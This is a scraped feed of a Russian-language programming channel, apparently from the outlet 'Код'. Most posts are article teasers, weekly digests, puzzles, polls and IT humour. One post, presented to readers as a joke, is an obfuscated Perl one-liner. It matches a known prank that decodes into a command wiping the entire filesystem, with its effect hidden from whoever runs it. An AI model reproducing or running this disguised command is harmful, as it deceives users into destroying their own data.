Telegram Web Link
Разбираемся с ошибкой ValueError: math domain error в Python. Она случается, если попросить код сделать что-то несовместимое с математикой ¯\_(ツ)_/¯

https://v.thecode.media/knd2q

#баг_Код
👍20👎1
This media is not supported in your browser
VIEW IN TELEGRAM
echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see', дорогие читатели :-)
😁32👍10
Что такое вычислительная фотография и как она работает

Обработка одновременно со съёмкой: https://v.thecode.media/53n5l

#лучшее_Код #разбор_Код
🔥16
Дайджест статей за неделю

На этой неделе мы решили немного поразгонять про компьютерную грамотность — что это сейчас значит и что туда входит. Неформально, без нравоучений и с картинками. Если есть что добавить — приходите в комментарии, будет здорово.

Поговорили с тимлидом из фронтенда про то, нужно ли сейчас начинающему разработчику знать бэкенд и хватит ли знаний только о вёрстке для того, чтобы делать всё остальное. Если хотите узнать, на что сейчас смотрят на работе, — читать обязательно.

В продолжение темы — большой разбор интерфейсов в целом. Если что, это не только про сайты и визуал: интерфейсы бывают разные и у каждого свои задачи. Но у всех цель одна — сделать нашу жизнь проще.

Разобрались, как работают браузерные уведомления, которые всплывают, даже если сайт закрыт. Под капотом — много технических подробностей про серверы и механизмы синхронизации. Пригодится по работе и для общего развития.

Ошибка недели: ValueError: math domain error. Вот что случается, если нарушать законы математики.

Выходные, можно наконец-то выспаться и отдохнуть. Берегите себя!
С любовью, «Код»
👍176🔥3
Шпаргалка с разбором алгоритма сортировки выбором (Selection Sort)

Алгоритмы сортировки часто являются предметом вопросов на технических интервью, так как демонстрируют понимание основ алгоритмического мышления и способность решать задачи, связанные с оптимизацией.

Знание различий между алгоритмами и умение выбрать подходящий — важное качество для успешного прохождения собеседований.

Материал подготовил Евгений Бартенев, автор и техлид курсов Python-разработчик, Python-разработчик расширенный и Python-разработчик буткемп. Сохраняйте и пользуйтесь.

Шпаргалка с разбором пузырьковой сортировки
Шпаргалка с разбором сортировки слиянием
Шпаргалка с разбором быстрой сортировки
Шпаргалка с разбором сортировки вставками

#полезнознать_Код
👍26🔥9
Аккуратно (о-о-очень аккуратно) тыкаем палочкой в С++ и его стандартную библиотеку std, которая умеет вообще почти всё, что может понадобиться от языка программирования.

Если немного умеете писать код на любом другом языке, то разобраться точно получится. Если нет — хотя бы посмотрите на то, что ещё бывает в программировании: https://v.thecode.media/nxj8c

#разбор_Код
😁24🔥15👍7
В 1934 году немецкий психолог и философ Макс Вертгеймер задал своему другу Альберту Эйнштейну такую задачку. Она показалась Эйнштейну довольно простой, и он быстро решил её в уме, но когда вник и начал решать на бумаге, то понял, что первый ответ был неверным. Задача звучит так:

• Есть холм, вершина которого находится ровно посередине холма.
• Общая длина пути по холму — 2 мили, соответственно, чтобы доехать до середины, нужно проехать одну милю, и столько же, чтобы спуститься.
• У подножия холма есть машина, которая поднимается на холм и доезжает ровно до середины с постоянной скоростью — 15 миль в час.

А теперь вопрос:

С какой скоростью машине нужно съезжать с холма, чтобы средняя скорость движения по всему холму составила 30 миль в час?

Эйнштейн сходу дал ответ — 45 миль в час, но это неправильный ответ ¯\_(ツ)_/¯

Правильный ответ пишите в комментариях и ищите по ссылке: https://v.thecode.media/ixxlp

#задача_Код
🔥17👍152
Сделали большой мастрид для всех, кто хочет научиться программировать на JavaScript, но не знает, с чего начать. Вот с этого: https://v.thecode.media/9sby4

#подборка_Код
21👍11🔥7
Как понять, что ваш код великолепен

Мы собрали 8 признаков классного кода и поняли, что в нашем коде мы видим только 5. А у вас как с этим? Сколько признаков совпало с тем, как вы сами пишете код?

https://v.thecode.media/ynmf0

#лучшее_Код #подборка_Код
13👍7🔥6
Разбираем, как устроен формат JSON, как используется и почему от него все в восторге уже больше 20 лет. Если вы не в восторге, значит, ещё не читали вот это: https://v.thecode.media/3gz83

#разбор_Код
😁1910👍5🔥3🤡2
Среда, дорогие читатели. Это значит, что проблемы точно не на вашей стороне: https://v.thecode.media/cxy6m

#пб_Код
😁43🔥8👍3👎1
Что важнее для первого проекта в портфолио у начинающего разработчика?
Anonymous Poll
6%
Сложность и инновации
40%
Практическая польза
1%
Красивый дизайн
52%
Простота и понятность
👍52
9 несложных проектов для портфолио начинающих разработчиков

Бывает, что начинающему программисту нечего показать будущему работодателю: рабочих проектов пока нет. В этом случае можно создать программы для себя — так получится и потренироваться, и получить проекты в портфолио.

Мы собрали идеи и примеры проектов, которые подходят новичкам и не зависят от языка программирования и платформы. Выбирайте направление по душе, расчехляйте редактор кода — и погнали: https://v.thecode.media/817dd
👍23🔥3
Простая инструкция, как создать новый шаблон страницы в Wordpress на основе старого и что-то изменить в оформлении одной рубрики. Пригодится всем, кто ведёт там свой блог или хочет постепенно зарабатывать на этом: https://v.thecode.media/cbty7

#разбор_Код
🔥7👍32
Напишите в комментариях фразу «Самый главный навык программиста — это когда...», а дальше пусть продолжает Т9.
👍8😁3
Задача про границы, где вам нужно выйти за них, чтобы её решить. Но потом вам эти границы нужно нарисовать. А для этого нужно за них выйти. Круто, да?

https://v.thecode.media/ggmwi

Кстати, у этой задачи не одно решение. Если найдёте ещё — поделитесь в комментариях.

#задача_Код
👍12🔥32
Программа, которая нагрузит процессор на все сто

Обычно программисты стараются писать код так, чтобы он оптимально использовал все ресурсы компьютера и не забирал себе лишнего. Сегодня мы сделаем противоположное: напишем код, который нагрузит процессор почти на 100%, и проверим, получилось у нас или нет.

https://v.thecode.media/wuqjk

#проект_Код #лучшее_Код
👍9👎1
Что такое троичная логика и где она используется

Если в двоичной логике используется только 0 и 1, то что используется в троичной? И зачем она вообще нужна? Рассказываем и рисуем красивые таблички.

https://v.thecode.media/i775m

#лучшее_Код #вопрос_Код
👍17🔥6🤡41
Дайджест статей за неделю

На этой неделе разбирались с устройством всего: от настройки сайтов до библиотек в C++. Погнали смотреть, что получилось.

Сразу с хардкора: рассказали, что такое std в C++ и что вообще умеет там стандартная библиотека (почти всё).

JSON — стандарт для передачи данных во многих областях ИТ. Сделали подробный разбор, как он устроен и есть ли у него вообще минусы.

Пояснили мем про тестировщика и молоко. С одной стороны, мы рады, что у кого-то всё оказалось хорошо, с другой — надо быть аккуратнее как-то с молоком.

Запилили красивый мастрид про то, как новичку вкатиться в JavaScript. Получилось много, полезно и подробно. Можно брать и стартовать прям с нуля.

Если вы не знали, как сделать в Вордпрессе новый шаблон страницы на основе старого, чтобы что-то там изменить, — теперь знайте. Дело на 10 минут, ничего сложного.

Задача недели: как с помощью двух квадратов обозначить для всех личные границы. Звучит странно, но попробуйте её решить — и всё поймёте.

Не забывайте про себя: проведите выходные на природе или с близкими, встретьтесь с друзьями, возьмите отпуск в конце концов :–)
Любим вас, «Код»
👍11🔥4
Собрали ИТ-мемы на все случаи жизни (и важных переговоров). Если что-то из них покажется непонятным — пишите, разберём в «Пояснительной бригаде». В общем, делитесь со знакомыми айтишниками, сохраняйте для чатов и просто наслаждайтесь прекрасным миром доброго и чуткого ИТ-юмора.

#подборка_Код
🔥20😁17👍32🤡1
2025/07/12 06:32:20
Back to Top
HTML Embed Code: